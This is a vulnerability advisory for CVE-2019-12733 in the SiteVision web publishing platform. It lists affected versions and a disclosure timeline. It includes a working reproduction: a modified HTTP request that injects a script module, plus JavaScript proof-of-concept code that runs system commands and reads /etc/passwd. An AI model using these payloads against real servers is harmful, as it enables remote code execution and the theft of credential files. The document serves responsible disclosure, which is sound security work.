SiteVision Remote Code Execution

CVE-2019-12733

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12733

Summary

Attackers may execute arbitrary code as root on the target server after gaining access to a low-privilege account.

Vendor Description

SiteVision AB is a Swedish product company focused on developing the portal and web publishing platform SiteVision.

Affected Versions

All versions of SiteVision 4 until 4.5.6.

All versions of SiteVision 5 until 5.1.1.

Earlier major versions are assumed to be vulnerable.

Technical Details

The SiteVision application does not sufficiently validate whether or not the current user is permitted to add or edit modules of the "script" type. This means that a low-privilege user such as an Editor ("Redaktör") can inject a new script module, or edit an existing one, and leverage it to execute arbitrary code.

The access control flaw allowing users to inject non-authorized modules are described separately in CVE-2019-12734.

While the scripts are written in JavaScript, the environment allows the developer to reach and import Java APIs.

Reproduced on SiteVision 4 and 5; the following steps applies to SiteVision 5:

1. Install SiteVision and either create or import a new site.

2. Set up and create an Editor ("Redaktör") user.

3. Log on as the new low-privilege user.

4. Create a new page and note how only basic modules are available.

5. Insert a text module.

6. Re-send the HTTP request generated in step #5, but change the value of portletType from "text" to "script". The following is the resulting request for our demo environment:

```
POST /edit-api/1/4.549514a216b1c6180f41c3/4.549514a216b1c6180f41c3/portlet HTTP/1.1
Host: fast.furious
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en
Accept-Encoding: gzip, deflate
Referer: http://fast.furious/edit/4.549514a216b1c6180f41c3
Content-Type: application/json; charset=utf-8
X-CSRF-Token: [...]
X-Requested-With: XMLHttpRequest
Content-Length: 70
Connection: close
Cookie: [...]

{"portletType":"script","relativeElement":"12.549514a216b1c6180f41d0"}
```

7. Issue the modified request to the application.

8. Reload the current page and note how it now contains a script module.

9. Edit the script module to contain the following JavaScript code:

```
const app = (() => {
   'use strict';

   importPackage(java.io);
   importPackage(java.lang);

   const init = () => {
          var result = [];

          var p = Runtime.getRuntime().exec("whoami");
          var stdInput = new BufferedReader( new InputStreamReader(
p.getInputStream() ) );
          var s;
          while (( s = stdInput.readLine()) != null) {
           result.push(s);
          }

          return result;

   };

   return { init: init };
})();

const context = app.init();
```

9b. Following PoC can be used for reading files such as /etc/passwd or /etc/shadow:

```
const app = (() => {
```

```
   'use strict';

   importPackage(java.io);
   importPackage(java.lang);

   const init = () => {
                    var result = [];
      var file = new File('/etc/passwd');
                    var br = new BufferedReader(new
FileReader(file));

                    var st;
      while ((st = br.readLine()) != null) {
          result.push(st);
      }

      return result;
   };

   return { init: init };
})();

const context = app.init();
```

10. Enter the following Velocity code:

```
<hr>
<h2>
   Script output:
</h2>



<h3>
   As List:
</h3>
<ul>
#foreach( $c in $context )
<li>$c</li>
#end
</ul>

<h3>
   As String:
</h3>
<pre>$context</pre>
<hr>
```

11. Under "Other" check "Show in edit mode".

12. Press "OK".

13. Note the script output, and how it contains the result of the system command. In the command example above, the result of whoami should be "root" if SiteVision 5 was installed using the vendor-provided RPM package.

Vulnerability Disclosure Timeline

2019-06-03 - Disclosed to vendor

2019-06-04 - Vendor confirms vulnerability

2019-09-26 - Vendor issues patches

2019-12-04 - Public disclosure